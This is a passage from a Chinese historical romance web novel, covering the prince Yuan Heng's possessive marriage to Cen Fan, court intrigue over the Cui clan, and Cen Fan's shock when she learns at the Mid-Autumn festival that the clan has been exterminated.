元衡心疼,晚上亲自给她一点点上了药,轻声嘱咐她小心些。 过了两日,岑璠终于做出了一盒像样的点心。 可也就是模样像那么回事罢了,味道索然无味,并不好吃。 然而就是这么一盒糕点,还未封盖提出灶房,便被人堵住。 元衡未问这个糕点是送给谁,似是默认了那块儿是给他。 或者说,即使并不是给他,也一定会从别人嘴里抢回第一口。 他问道:“这盒糕点,本王能先尝尝吗? 第42章 第四十二章你能不能给孤做一次糕点。…… 岑璠却不想给他吃。 这糕点不是做给他的,她知道做的不好吃,可第一块也不该让他染指。 不论是第一次作画,还是第一次做糕点,好不好看,好不好吃,第一声认可总是格外重要。 若是他先说出口,其他人再说,无论如何都不会那么欣喜了。 那盒糕点还未封盒,色泽不算差,比起岑璠第一次做,已算是极好,这么短的几日,从十指不沾阳春水,到能做这么一盘糕点,显然是下过一番苦功。 岑璠目光低垂,淡然道:“这点心做的不好,殿下这次还是莫要尝了。” 元衡眼睁睁看着,她悄无声息盖上了食盒,精巧的糕点被藏得严严实实。 她将那双皙白的手按在食盒上,连一点窥探的缝隙都不给他留。 可有的时候,越是得不到 的,便越是偏执地想要得到。 从未踏足此地的晋王,走近灶台,眼紧紧凝视在那盒糕点上。 他手覆在她的手上,目光缓缓移向她,又重复了一遍“孤想先尝尝” 岑璠手慢慢收紧,轻轻发抖。 元衡能感受到她在暗地用力。 就算他曾一遍遍自欺,这糕点是做给他的,如今也是能明白了。 这盒糕点与他没有一点关系,她这几日废寝忘食地学,一次次出入灶房,并不是为了他。 不仅如此,她一块儿也不准备留给他。 他恍然间想到,若是如此,她上一世嫁给他之前,应该也是不会下灶房的。 原来她那时是特地为他出入灶房,为他费尽心思学做了糕点 都是为了他。 元衡唇抿的近,眼中逐渐染上执念。 他目光一动不动注视着那盘糕点,一点点掰开她的手,打开了食盒,不由分说一口塞进嘴里。 灶房里不只有岑璠和乳娘,还有许多府里的下人。 那点心个头虽是不大,但这样的吃法也不甚雅观。 像是没吃过点心的孩子在抢食,总之没太顾及脸面这种东西 旁的人不敢细看,所幸晋王也没有注意到其他人,只出神地望着门外,不知道在想些什么。 那块儿糕点的酥皮并不香,比他在宫宴中吃到的差很远,里馅酸酸甜甜,有些干涩,的确是第一次做。 不过也是好吃的…… 可当尝清楚那是什么的时候,元衡整个人都凝固住了。 “这是什么糕点?”他哑声询问。 “青梅酥。”岑璠照实答,想了想又道:“殿下应该不喜欢吃梅才对。” 他不是不喜欢,他吃梅子会起疹子 她应该是不知道。 元衡未告诉她,嘴又动了起来,细嚼慢咽,似在反复品尝酸甜的滋味。 他将整个糕点都咽了下去,道:“是好吃的。” 岑璠抿了唇,撇开头,沉默良久。 她启唇,听不出喜怒,“殿下既是喜欢,那便都拿去吃吧。” 她掠过他向外走去,丢下了那盒她原本紧护的点心,向外走去。 元衡站在原地,看着那盒糕点,又捏了一块儿。 酥皮无味,酸涩自口中泛开。 可满满一盒糕点,被吃空了盒。 到了午后,元衡的臂上,脖子上便冒出些红疹,靠近耳根的脸上也起了一片。 晋王独坐在书房,傅媪看得心惊胆战。 她从前跟着先皇后,先皇后死后,杨家倒台,她带着晋王一路逃到军镇,可以说是从小照看到大。 起初在军镇时,她同晋王和太尉隐姓埋名,军户起家,后来两人立了军功,有人眼红,买通了婢女,用整整一坛梅酿成酒,遮了气味送给晋王,害得险些丧命,从此之后大小食宴就全都由她和韩泽监管。 这梅果晋王是万万碰不得的 可不知为何,晋王却偏偏在近一年来喜欢种起了梅树。 前些日子梅树上结果子,她特意叫人全都摘了,就是怕有人误将梅子混入晋王的膳食中。 那梅子也只有王妃偶尔会用来酿酒,吃一两盘,旁的 王妃近些日,好像学做糕点时用过梅果。 想到此,傅媪心绪一顿,看向晋王 她知道那糕点并不是做给自家主子的,可自家主子的性子她也是知道一二。 莫不是看了眼红,明知道那是梅子还非要上赶去吃几口 傅媪一时语塞,可越看晋王那副沉默寡言的样子,便越觉得是那么回事。 她重重一叹,只觉得无药可救,也无需多说。 “老奴去拿药。” 元衡道:“你叫她来。” 傅媪知道他口中的“她”是谁,不过她也能想到,殿下蛮不讲理抢了王妃的点心,想必王妃也在生气。 傅媪心底疲惫,可到底是赔着笑脸,将岑璠引来了书房。 岑璠确实生气,傅媪来请时也并不想去。 可见她为难,到底还是来了。 不过是一会儿不见,他身上会为何起了这么多疹子? 岑璠多看了几眼,可到底是没想明白为何。 傅媪看不过去,替他说道:“王妃有所不知,殿下吃梅子是会起疹子的呀” 岑璠惊诧,可到底是不解更多些。 那果子分明是他非要吃的,难不成是自己觉不出味来? 元衡并不想让傅媪再多说,“傅媪先下去吧。” 傅媪叹了口气。 晋王如此做,想必又是想借此博得一点同情。 可这样说到底,并不会得到太多的可怜。 就像那余家的姑娘一样,一味埋头付出,也只能给自己带来些许安慰,证明自己付出了许多,是走不到一个人的心里的。 傅媪到底没多说什么,只摇了摇头,将药膏交给岑璠。 待到傅媪退下,岑璠上前一步,细指点了药膏,先往他那张好看的脸上抹了些。 元衡到底有些忍耐力,没有像那次珝儿过敏时用力抓挠,脸上和脖子上只红了一小块儿,没有扩散开。 清凉的膏药味自房中飘散开,岑璠利索地抹完,问道:“还有哪里有?” 元衡自然而然伸出红了的手臂,那只手臂显然要比脸上和脖子上的严重些,肿了一片,蔓延到手背上。 岑璠抿唇,给他搽了药,问道:“殿下明明知道自己不能,为何还要吃那块糕点?” 这话中满是责问,可元衡硬生生自己从里面听出些别的意思。 他薄唇轻扬,扯开点笑,“皎皎这是在关心孤吗?” 岑璠彻底无语,觉得对他说任何话,都是对牛弹琴。 元衡说道:“孤不能吃青梅,一点都吃不得。” 岑璠笑了,“殿下,那盒点心不是给您的。” 她道:“有些点心殿下不能吃,可我却是喜欢,也总有其他人喜欢。” 她话中有别的意思,元衡知道。 可他就是想吃到她做的第一块儿点心,前生今世他都要 她总是埋怨他,强求他不该得的,可这些明明上辈子都是他的。 你看,他的强求,不是换到了自己想要的吗? 若非如此,他什么也得不到 藏在心底的患得患失在一瞬间浮出水面,但又很快被一番自我劝说掩盖。 元衡问道:“那盒糕点,你准备送到郑家是吗?是送给崔二公子,还是准备送给郑氏姑娘?” 岑璠未回答,不是不知道怎么回答,而是不想回答。 元衡轻轻阖了阖眼,声音很轻,“孤想要句实话。” 岑璠道:“郑姑娘是我的朋友,她生了病,喜欢吃梅子,我便想做些给她,仅此而已。” 其实我没怎么骗过您。 岑璠想这么说,可她忽然想到,自己骗他的事其实也不少。 但起码这件事,她并没有骗他。 元衡沉默许久,道:“你和郑氏往来,孤不反对。” 他退让了一步,“吃了你的糕点,孤同你道歉” 岑璠眼眸微微闪烁。 他似乎从来没有同她道过歉,即使是做了再过分的事也没有。 可他这次低了头,像是卑微到了极致。 只是下一瞬,他又说道:“皎皎,你能不能给也孤做一次糕点” 为他做一次能吃的糕点。 话音落,岑璠却恍然间回过神。 他的道歉是带有条件的,是要问她讨要东西 是他自己愿意吃,他该同她道歉。 没什么好可怜的 她抿起唇,似是不愿。 元衡淡漠道:“你若答应,给她去送点心,孤不会阻拦” “我只会做一样糕点,殿下若是想吃,我可以把里面的梅子取出来,给殿下做一份。” 她似做了退让,可也只是一小步退让。 若他不答应,也许就再也吃不到她做的东西了…… 元衡到底是说了声“好”。 * 岑璠再送去的糕点,要比前一次做的好许多,和面时加了些茶进去,做成茶酥,多了些清香。 那份没加青梅的茶酥送给晋王时,到底也不算太寒碜。 郑伊湄的病其实好的差不多了,只是还有些咳嗽。 那盒糕点送来时,郑伊湄正在院子里的躺椅上晒太阳。 秋高气爽,她大病初愈,身上裹了一层略厚的披袄,手里 却拿了一只团扇。 不知道崔迟景悄悄说了什么,她拿团扇轻轻敲了敲他的脑门。 崔迟景在她一旁,只坐在一把矮矮的胡椅上,腿上还搁着一小筐樱桃。 这个季节,樱桃应当是不常见,想必是花了心思寻来的。 岑璠进来时,便是看到这样的场景。 秋风和煦,阳光少了夏日的热烈,温暖舒适。 见到她,两人的打闹有所收敛,可细细一看,郑伊湄垂下的宽袖正压在他的袖下。 岑璠只觉得有些打扰,不想多待,可两人留了她。 郑伊湄尝过糕点,觉着精巧又好吃,便也想要崔迟景也尝尝。 她忽然想到什么,问:“我分给他一块儿,皎皎应该不介意吧?” 岑璠摇了摇头,毫不犹豫,“不介意。” 她做糕点时,从来也没想过只允许她一个人吃,只是想让她尝尝第一口而已。 她并不太介意阿湄和别人共享她的糕点 郑伊湄捏了块儿糕点,自然而然想喂给崔迟景。 崔迟景却给了她一个为难的眼神。 这么多年,想说什么,便是一个眼神也足够了。 郑伊湄也意识到不妥,从前他们两个相处,她常常会给他做些点心尝,他还会话里话外暗示她喂他吃。 可到底只有两个人,在别人面前,终归是有些太显眼了。 郑伊湄将糕点放下,挪到他跟前:“你尝尝” 崔迟景拿了块儿糕点,倒也不吝啬夸赞,“岑姑娘第一次做糕点,便能做成这样,在下佩服。” 他端了那筐吃了一半的樱桃,问她,“岑姑娘想吃吗?阿湄说可好吃了。” 岑璠总觉得,跟面前的两人相处,说不上的自在。 就像是两股涓涓细流,水流清泠舒缓,没有什么惊涛海浪,即使碰撞在了一起,很快便能汇聚成一汩。 若是晋王,定是不愿意将她的糕点拱手送人,想必是要藏的严严实实,有人多瞧上一眼,怕也是要记恨 岑璠尝了一口,点了点头,“崔公子哪里来的樱桃?” 现在这个时候,晋阳应当是吃不到樱桃的。 崔迟景道:“崔家有住在南边的人,送了些过来,我便带来给她尝尝。” 这话说得没什么特别,可不知为何,郑伊湄眼中却染上忧色。 岑璠有所察觉,“阿湄在想什么?” 郑伊湄回过神,摇了摇头,“没什么” 院内寂静了一瞬,郑伊湄坐起身,微微伸了个懒腰。 崔迟景似也察觉到什么,刚想问问,却见蒲菊自院子外面走来。 她行了一礼,倒也不避讳两人,“姑娘,大公子带了信来,好像说是老爷身子不适,让您回洛阳。” * 岑璠不在的这日,杨樾却去了王府。 书房房门紧闭,外面有侍卫把守。 元衡身上的红疹消下去,可终归是还有些印记。 杨樾看到他手背时,蹙起眉,“殿下这是怎么了?” 元衡淡淡道:“昨日误食了些梅子,起了些疹子而已。” 杨樾记得他对梅子过敏,可府里的人应该不会不知道,这么多年也不曾有过纰漏。 他似是想到什么,冷哼一声,“那岑氏不知你吃梅会起疹?” 元衡抬眼,冷冷说了几个字,“不关她的事。” 杨樾知道面前的人对那王妃何等维护,即使是去军镇,也不忘将王府围的像铁桶一般。 也不惜与他翻脸。 元衡知道,杨樾此次前来并不是为了说这些家长里短,而是为了军镇之事。 他没打算同他继续装下去,便索性先发制人,“还没问舅父,孤走的那几日,为何为难王妃?” 杨樾不解,他冷冷重复,“为难” “岑氏不知冷暖,不懂伺候,臣不过是想为殿下找一个知冷热的人罢了,殿下若他日登临大宝,总不可能只守着岑氏一人,余姑娘对殿下一心一意,世家出身,却甘愿屈居为妾,臣不知何谈为难?” 元衡听完此言,手指收紧,发出咯咯的脆响。 他从牙缝中挤出来几个字,“事此为本王家,本王此生只娶她一个,若她不在,本王终身不娶,舅父能奈我何?” 第43章 第四十三章叫孤一声夫君 杨樾沉默了许久。 他觉得面前的人应该是疯了。 “殿下的意思是,哪怕以后坐上龙椅,身边也只会有一个皇后,以后的子嗣也都出自岑氏?” 元衡道:“是,如何?” 杨樾蓦地笑了,“殿下可别忘记,要做帝王,去母留子是规矩,胡皇后为继后,运气好些,可皇帝死后也要殉葬。殿下若执意如此,将来岑氏诞下皇嗣,立为太子,便是——” “赐死”两个字未说,元衡截断了他的话,“本王若为帝,定是废了这害人的规矩!” 杨樾眼眸又更冷了些,盯着他,并未再与他争论,“如此,希望殿下得偿所愿。” “不过这岑氏整日不在府上,以‘我’自称,殿下该找个嬷嬷管教一番,否则以后就算夺得帝位,凭岑氏也难以母仪天下。” “这是本王的家事,王妃她愿意怎么自称,便怎么自称。”元衡看了他一眼,“本王倒是好奇,舅父如何知道这些?” 杨樾眼神微动,说的仍旧从容,“岑氏不懂规矩,人尽皆知,臣当然知道。” 元衡端坐,鹰隼似的眼中透着锐利,显然是没听进去他说的,“哪个厮敢在本王府上议论,本王以后见一个,杀一个。” 杨樾皱眉:“殿下若不想他人议论,还是该让岑氏明白什么是妇人之责。” 元衡不想再听,“孤说了,此为孤的家事,舅父此次来,应该也不是和孤谈论此事的吧?” 杨樾听他问,神色又恢复冷然,问道:“臣此番前来其实是不解,殿下此去军镇,与尔朱氏拔了赤城青卫,所谓何意?” 元衡说的理所应当,“那群人欺压百姓,与北柔然勾结,尔朱氏常年驻守边镇,本王令其铲除,有何不可?” 杨樾道:“殿下可知,青卫的职责不仅是驻守赤城,还要替六镇传递关内外八方情报,赤城乃六镇关口,殿下打压青卫,恕臣不明白殿下用意。” “舅父不明白?”元衡问道:“您也知道,青卫驻守的是军镇关口,极为重要,这些人与柔然勾结,留着他们,和自掘坟墓有什么区别?” 杨樾看他,不知是提醒还是试探,“青卫这些年做的事,殿下可别忘了,到底什么是自掘坟墓,还请殿下好好思量。” 元衡嘴角噙着一抹笑,“舅父不必提醒,不过本王倒是不明白,这些人既是为本王做事,本王觉得无用,舅父为何一定要留?难不成青卫中有舅父必须要用的人?” 杨樾默声,只倒了一口酒,说的不紧不慢,“臣与殿下一心,万事不过是为殿下着想罢了,殿下执意要除青卫,必有自己的缘由,臣全权听殿下的。” 他站起身,拱手一礼,“只是岑氏一事还望殿下思虑周全,将来岑氏若得子,放在身边教导,万不可不通礼数。” * 蒲菊送来信后,岑璠便回了王府。 他的晚膳,时而设在屋内,时而设在湖心,总是看心情而定。 只是今日晚膳却是设在了西侧的小院。 岑璠知道他喜欢梅,那院内繁花似锦,翠微清瑶融于一观,秋日夜晚散发着木香。 一方小院,偏远僻静,却有水声潺潺,鸟声相伴,并不孤寂。 桌上摆了岑璠做的糕点,元衡当着她的面,将那盘糕点吃得干净。 他记得上次她做的糕点,这次她在糕点里加了茶,比上次的酥面做的好许多。 可惜这些都不是为他做的,如今他认得清。 这一辈子,她将她的好都分给了别人。 而今日,那郑氏的姑娘终于要走了。 他道:“皎皎以后做糕点,可以多加些酥油。” 这些说的都是事实,想必她是能听进去。 以后能做的更好 他心中忐忑,又一次抱有期待,只是下一刻她便道:“我做的不好,殿下若是想吃,可以叫灶房的厨娘做些。” 元衡声音停了,脸色说不出的黑沉。 一声殿下,一声“我”,元衡便是不由自主回想起刚才杨樾说的。 她从未称自己为“妾”,其 实他并不在意,相反他觉得这样很好。 可她除了“殿下”、“晋王殿下”外,好似没叫过他别的名字。 就比如说旁的妻子,总该唤一声夫君,或者是郎婿。 这样才像是他的家 元衡这么想,却不敢再同她说自己的想法。 或许他可以在床榻上强迫她一二,可这总归不是他真正想要的。 他思绪渐远,却听她问道:“殿下此次去军镇,是去做甚?” 元衡没想过她会过问他的事,此事说来和崔氏有些关系,而她和那两人交好 他移开目光,未正面回答:“不过是些军务,皎皎不必思虑。” 岑璠却是又问道:“可和皇后有关?” 元衡不敢就此事敷衍她,他记得杨知聿说过的话。 他道:“也有些关系,朝堂之牵一发而动全身,说来话长。” “崔公子是您调来晋阳的吗,是太尉的意思对吗?”岑璠忽地又开口。 元衡没想到她能猜到这些。 他知道她并不是愚钝之人,相反,在一些事情上她很聪明,很敏锐。 她先是问了军镇,紧接着便问了崔氏。 或许是这几日和崔迟景见过许多面,她猜到了什么。 他去军镇是和崔氏有关,他虽做了一切能想到的,比如拔掉青卫,再比如让郑家和崔迟景去劝说崔纪。 可其中变数太多,他不能保证接下来的崔家会彻底安然无恙。 她不该过问崔氏,即使是没有一点别的心思 岑璠又问道:“崔氏和皇后有关系吗?” 元衡顿了顿,还是简单地答,“不算有。” 他总想知道她的全部,可他自己也并不坦诚。 岑璠没再追问,只是再一次提醒,“殿下,我想亲手报仇。” “知道”元衡轻轻答了一句,“皎皎放心,孤都记得。” * 秋日天渐渐黑的早了些,小院内早早点起了烛火。 今日两人歇在此处。 比起往日,似带有眷恋,彼此贴的更近。 他还是在床榻上逼了她,一遍遍的磋磨。 并不是像杨樾说的那样,教她如何称自己为“妾身”。 “皎皎,叫孤一声夫君” 他说的意乱情迷,气息微喘,声音比平日柔了许多。 那张俊美的脸,在月光的映衬下,少了几分平日的冷硬。 可冲撞比之前更没有章法,时缓时急,尤其是在唤她的时候,近乎要将眼泪逼了出来。 她始终紧闭唇,不肯屈服,到最后,元衡竟也是累了 烛火狠狠摇曳了几下,握住脚腕的手松开,两只腿便直直落下,软绵无力,大开在床榻上。 他裹了件外衫,抱起她。 岑璠脚背发麻,院内只有浴桶,便是面对面坐在浴桶里,全身泡过才缓过些劲来。 床榻上湿透的单罩都被换过,他自背后抱了她,手覆在她的腹上。 想起老郎中说的那句“缘分不够”,又想起她刚才执拗的样子,元衡心中酸涩。 帐中暗香隐匿,帐幔浮动,月光纱幔倾泻而下,两厢黑影纠缠。 他轻轻问:“皎皎过去可有伤过身子?” 岑璠陡然睁眼,却恍然间想到,她今日在这小院没有放香囊…… 她顿了一刻,答:“没有。” 元衡静静闭上眼,深吸一口气,到底没再说什么。 夜里,岑璠呼吸渐稳,元衡出了门。 “这些日子看好王妃,她若要出府随时同本王说到。” * 郑伊湄归家那日,郑峋罕见没有出门相迎。 郑氏的父子在房内商量了许久公事。 崔纪作为当朝司徒,不仅仅是崔氏一族的掌权者,更是能代表整个世家的掌话人。 崔氏朝中势力遍布朝野,且若光论崔纪此人能力政绩,郑峋佩服。 可此人像一只狐,狡猾多疑,也表里不一,当年杨家之事少不了崔家推波助澜。 不过再狡猾的狐终究有软肋,拽到了尾巴,也是会露出些爪牙。 最近皇帝主张修史,将皇室一族认定为中原正统。 向来为皇帝马首是瞻的崔纪与皇帝起了分歧。 皇室起源北地蛮夷,前朝乱后,趁机侵入,也杀过不少中原人,这本是不可改变的事实。 崔纪有自己的坚持,可郑峋能看得出,帝王不满,也有人想借势扳倒崔氏。 晋王先前毫无征兆返回军镇除了青卫,也是蹊跷。 那青卫,有晋王的人,也为杨氏所用。 郑峋本不欲与此人有过多牵扯,可自己的儿子说得也对,四大世家归根到底同气连枝。 自己的小女儿也刚从晋阳回来,与那崔氏的孩子难舍难分 到最后,一封信送去了崔家。 崔芙为崔氏长女,自和离后,便一直未嫁,与崔氏老夫人一同掌家,到底是有些话语权。 崔纪也喜欢这个长女,时而也会听其一两句见解。 崔芙进房门时,崔纪并无阻拦。 将崔迟景的信呈上时,崔纪却没什么好脸色。 这些年他是有意边缘崔芙的这个儿子,毕竟身上留着杨氏的血,若只是做个名士,闲云野鹤一生也就罢了,可若入仕终究不妥。 他没忘记,前一阵子崔迟景被调去晋阳。 那信上说的是晋王前些日子去军镇的事,其中前因后果说的详尽,像是亲临一般。 崔纪显然不全信,态度也并不好,“这封信是谁派他送来的,还未可知晓。” 崔芙道:“寻简送来的信,父亲或许不信,可郑家主派人送来的暗信,父亲应该好好看看。” “恕女儿直言,如今军镇有所动作,崔氏不得不谨慎,修史之事父亲应当再三考虑才是。” 清河崔氏,百年世家,这些年南边王谢世家可倾覆皇权,北边的世家却也没那么容易撼动,否则也不会有魏国改易汉俗,迁都洛阳之事了。 崔纪这样的人,终究是有自己的坚持,“若是陛下执意如此,我清河崔氏,南迁也未尝不可。” 崔芙知道,自己的父亲近年与南边的人一直有所往来。 可这个时候,首鼠两端,只会让崔氏越来越岌岌可危。 崔芙一拜,“父亲,如今朝中视我崔氏为眼中钉,此事万万不可啊” 崔纪久久未出声。 就在此时,外面管家的声音将谈话打断,“家主,外面来人通报,陛下请您入宫一趟。” 第44章 第四十四章不如改日找医士看看吧…… 皇宫内,远处飞檐峭台,楼可摘星。 一座空中楼阁架起,牌匾上写有“飞云”二字。 楼上设有观台,自旋梯而上,视野陡然开阔。 云淡天高,紫檀案台之上放有一鼎太湖石香炉,浮烟与微云似泉流转。 帝王身穿龙袍,自高处俯瞰,威震肃然。 崔纪见了,拱手行一礼。 皇帝邀他自高楼共赏,清风徐来,远处山峦叠翠,楼下殿宇层叠。 忽而皇帝开口,声似重鼎,“太后在时,主张改易汉俗,迁都洛阳,这洛阳城的皇宫也是按旧制修缮。” “朕遵照太后遗愿,重用四姓世家,重修藏书典籍,才能得中 原四方安定。” 崔纪明白皇帝为何要同他说这些。 百年之前,蛮族入侵,铁骑踏中原,中原汉人南迁,不能跑的便只有死路一条,待到此朝建立,才矛盾渐缓。 如今蛮族改化,重用汉臣,已经是做出了退让,这便是皇帝想同他说的。 可这其实是魏国统一的必然之势,若强用蛮力驱使,终有一日会遭反噬,太后不过是看清了形势,做了该做的罢了。 不是皇室退让,而是大势所趋,若不如此,迟早会被取而代之! 崔纪并没有被说动,退开一步,“陛下英明,太后英明。” 皇帝向远眺望,继续道:“朕和太后这么做,惹得本族旧部不满,这些年世家与旧部贵族冲突不断,旧族势弱,心中有怨,朕不是不知。旧族已改为汉姓,朕想,若世家能自此承认皇室为中原正统,从长远来看,对百姓并非坏事。” 崔纪未答,只道:“这些年世家与旧族矛盾四起,确实不可忽视,陛下深谋远虑,臣替中原百姓谢过陛下。” 知道皇帝还有话未说,崔纪颔首低头,等其道明。 皇帝转身缓缓坐回案台,“太后虽出自北燕皇室,却为我大魏费尽心血,终得大魏之昌盛,名垂青史。崔家乃四姓之首,朕想此次编撰修史之事,便交由爱卿来全权负责,将来爱卿之功绩也能留于史册。” 听闻此言,崔纪赫然抬头,却见皇帝正笑着看他,眼神深邃,直往人眼底去。 他恍然想到,来时崔芙说的话。 皇帝明明知道他对此事反对,如今却要他主持编撰新史。 他向来为皇帝做事,是皇帝的一把刀,可如果一把刀用的不顺手……。 即使是再锋利的刀,能斩除多少杂草,也可以随时弃,实在不行,也能慢慢将其腐蚀。 此事绝非在看他和世家的态度,而是在试探。 崔纪左右权衡,而后行了一礼,胡须微微抖动,颔首道:“陛下信得过微臣,是臣之幸。” 皇帝一笑,像是满意,可那笑意仍是浅。 须臾后,皇帝吩咐一旁的宫婢上了酒来。 一时间玉盘金碗,歌舞升平。 * 秋日叶落,枯叶飘零,略显寂寥。 岑璠能感觉到,自己被关在了王府。 虽然没有被勒令禁足,但和前段日子一样,甚至比前些日子看守的更严,他不在的时候,总会有人跟着她。 如今岑璠在王府,也会偶尔画几幅画。 她想如果有一日能离开王府,就像阿湄那日说的,寻访山水,游历名川,若闲来还能邀她同游,那样的日子当真是极好。 也许她并不是讨厌画。 从前是怕母亲不要她,后来是遵照母亲的遗愿,延续松白这个名号,她本身所抗拒的是这些事。 若这世间能有愿意同游之人,她愿意再拿起笔。 岑璠在府中画的,大多都是花鸟。 这一日,她在西处的小院坐了一整日。 这是她在王府最喜欢的一处地方,将来能离开这里,她或许自己也会收拾来这样的小院。 夕阳渐沉,笼中的画眉被放了出来,只是脚上绑了细绳,那只画眉似也不打算走,悠哉地在水渠中喝水。 岑璠坐在那里,长裙如月光曳地,地上铺有长毯,是乳娘怕她把裙摆弄脏。 她想,那只画眉若是想要挣脱,大概会摔的很惨。 静静看着那只画眉,许久后岑璠开始提笔,一笔笔描绘起画眉的羽毛。 背后披上一件披风,低沉的声音自背后响起,“别冷着。” 岑璠向后看,微长的眼尾没有波澜。 她能感受到他这几日很忙,而且有事瞒着她。 而她所在意的无非就是几件事,几个人。 葱段似的指微蜷,笔尖轻触到那幅画上,留下一点墨迹,却没有察觉。 元衡抚上她的手背,指尖碰到她似花瓣般的甲盖上,轻声道:“小心这幅画。” 在她作画的时候,他总是心情格外好。 岑璠习惯他这般态度,只问道:“殿下这几日可有收到郑姑娘的来信?” “这么想她?”元衡下意识问了一句。 岑璠如常应答:“上次送了信去,还未收到,问一句罢了。” “兴许是又去远行,忘了罢”元衡扫了眼周围,声音平稳醇厚,撇开她的话,“怎么想到来这里画了?” 岑璠不想说她喜欢这个地方,若是说了,他肯定又要反问,“难道其他地方不好?” 可这一次,他却是从背后环了她的腰,在她的肩上闷笑,自己替她答了,“皎皎是喜欢这里对吗?” 他凑近些,紧接着一声耳语响起,吹得她耳根痒。 岑璠眼睛微睁。 他刚才说,这个地方是他亲自吩咐人布置的 她知道他喜欢种梅,可此处花草繁布,幽静雅致,不像是他的手笔。 岑璠这样想,他却是轻轻抽走她手中的笔。 周围的奴仆见状上前,画好的画被收走,那只画眉被解开绳子,紫芯双手拢了那只画眉,拘住要张开的翅膀,将它放回笼子,而后人便尽数撤出了院子。 他扶住她的肩膀,一吻轻轻落在她的唇角,而后逐渐探入,攫取芳香。 岑璠不喜欢他这样吻她,她紧紧抓住他的衣袖,抓得慌乱。 他的臂自膝下穿过,将她抱起,进了屋子。 在廊下时,岑璠多看了一眼那只画眉。 他的步子似有停顿。 …… 在这个小院里,夜晚似格外漫长。 外面第三声更鼓响起,一切停了下来。 屋内点了几盏烛,昏黄的烛火映照出一室温馨。 她散了头发,他坐在床边,为她擦洗。 岑璠上身只披了件白纱,薄如蝉翼。 她低眼瞧他,“殿下,不如叫人烧水吧。” 元衡不肯,宽松的寝衣敞开,紧实的胸膛敞露。 他紧紧抱住她,温暖的掌心覆盖她的小腹,语气似急切,“皎皎,不如改日找医士看看吧。” 岑璠抬头看着帐子,不知他为何要这般不安。 他见她不答,像是着了魔,“皎皎,你只有孤,郑家的姑娘不过是个女人,她不可能陪你一辈子,还有他们,你想要的他们也给不了你” 他一遍遍地说,衣裳便又变得松松垮垮。 卧榻之上,摇晃冲撞,忽而一股暖流冲过,岑璠眼睫颤动,抱紧了他。 耳畔温声细语,却似是恐惧,“皎皎,这些东西只有孤能给,旁人给不了” * 岑璠睡醒时,已无人在身侧。 听府里的下人说,晋王要去大河周围办些事,可具体是什么事,无人告知。 他走的突然,小院中空空荡荡,只有床榻上有一点余香。 似是发现对她的拘束太过严苛,他临走时撤走了她周围看守的护卫。 清晨,傅媪端来了那碗补药。 这个小院里没有放香囊,她怕他有所察觉。 那香囊里的香料,除了闻有避子的效果,少量食用也可以。 岑璠回到正殿,午睡时将人打发了出去,从那香囊里取了一粒。 中秋那日,晋王不在,府中未摆宴,许久不见的尔朱阳雪忽然来了府上,邀请她晚上一起出府。 元衡走时,给她准备了一盏玉兔抱月的花灯,细细一看,琉璃做的蟾宫桂树雕画精美,流光溢彩。 岑璠带着那盏花灯出了门。 中秋夜晚格外热闹些,圆月高挂,月光自浮云中钻出,地上熙熙攘攘,并不清冷。 晋王不在,并没有像七夕那样,两旁侍卫清街开道,除了槿儿和紫芯,只有暗卫在角落暗中相护。 这样虽是拥挤,时不时与人有碰撞,却是热闹。 是许久未感受过的热闹 城中有人舞起火龙,火龙围着一座燃烧的花塔,光彩夺目,两旁商铺让人眼花缭乱,到处都是灯火。 岑璠又挑了一盏花灯,送给尔朱阳雪。 一间酒楼前摆起了字谜,台上的人身穿长袍,面向明月,吟道:“二形一体,四支八头,四八一八,飞泉仰流①,所谓何字?” 岑璠听过很多字谜,此则却是新颖。 台下的人群似也没听过,交头接耳,连着猜了一个又一个。 忽而岑璠想到什么,走到台前的案桌,低头大笔挥了一个“井”字。 锣鼓声响起,台下一阵赞叹。 有一盏花灯送来,槿儿和紫芯眼睛都亮了。 尔朱阳雪打趣:“早想到王妃如此擅猜灯谜,刚才那盏花灯就不买了。” 岑璠道:“不过是凑巧罢了。” “尔朱姑娘都拿着吧,这两盏不一样的” 尔朱阳雪倒也没客气,接过那盏花灯,仔细看了看,逗了逗那盏灯上绘的兔子。 几人准备挤出人群,却听到周围有人提到了崔氏。 “我还记得上元节的时候,崔氏有一位公子在这晋阳,将灯谜全部猜了去,说要将赢来的花灯送给自己喜欢的姑娘呢!” 另一个人呵道:“小声点!现在还敢提崔家,没听说那崔氏被夷三族吗?现在说崔氏,不怕把自己也搭进去!” 岑璠听清楚了这些,脚步顿住。 夷三族…… 即使周围火焰明亮,人声鼎沸,秋夜的一阵风便吹冷了。 她手脚冰凉,渐渐寒冷吹满全身。 陡然间,眼前浮现出一个温文尔雅的公子,还有那如暖阳似的姑娘,两人正在院子里嬉戏打闹,那姑娘的扇子轻轻敲在那公子的脑门上。 可一切便随着冷风而散,再也听不见了… 槿儿和紫芯面露忧色,尔朱阳雪也听了清楚,她似是知道什么,眉轻皱,轻轻拉住了岑璠的衣袖。 “你知道的,是吗?”岑璠从未对她这么说过话,那声音带着疏离,还有冰冷。 尔朱阳雪叹了口气,避开她的目光,“崔氏自齐国在时便于南边勾结,有南下之意,前些日南齐余孽萧昀不知被谁送去洛阳,得以面见陛下,那萧昀告发了崔氏,拿出了崔氏和南边往来的书信” “还有北面的柔然,听说崔氏和北面也——” “你知道他怎么样吗?”她打断道。 尔朱阳雪愣了愣,她向周围望了望,似是无措为难,“王妃” 岑璠眼睛红了些,她顾不得旁人高不高兴,周围有没有人偷听告发,接连质问:“他呢?崔公子现在还在晋阳吗?郑氏可有发生过什么事?” 她眼睛紧紧盯住她,似一定要要个答案,朱唇抿紧,一双眸比寒月还要孤冷肃然。 尔朱阳雪轻轻握拳,终于还是坦白:“崔氏长女崔芙被斩杀于城前,晋王有意将消息收紧,可那崔氏公子不知哪里得来的消息,先一步逃出了祁县,不知所踪” 听到此处,岑璠手里的花灯掉到了地上,一盏琉璃玉树摔成了两截,支离破碎。 周围一切似都寂静了下来,黑夜笼罩,恐惧慢慢爬上心头。 她声音发抖:“那郑家的姑娘呢” “郑家的六姑娘也不见了” 岑璠沉默了许久,她眼睛怔怔望着前方,那前方火龙飞舞腾跃,漫天烟火,可都与她无关。 她忽然跑出了人群,朝着那热闹的火光而去,衣裙翻飞,似云流转。 可渐渐地,她停下了脚步。 迎面而来的是火焰的热烈,可心底最后那团火苗终于被寒冰覆灭了。 忽地,有一人迎面撞来,岑璠踉跄几步,摔倒地上。 尔朱阳雪慌忙追来,槿儿和紫芯也赶紧跟上, 岑璠呆呆坐在地上,许久没有缓过神。 刚才那人撞来,她并没有注意到那人长什么样…… 可她能清楚感觉到,那人塞给她了一张字条。 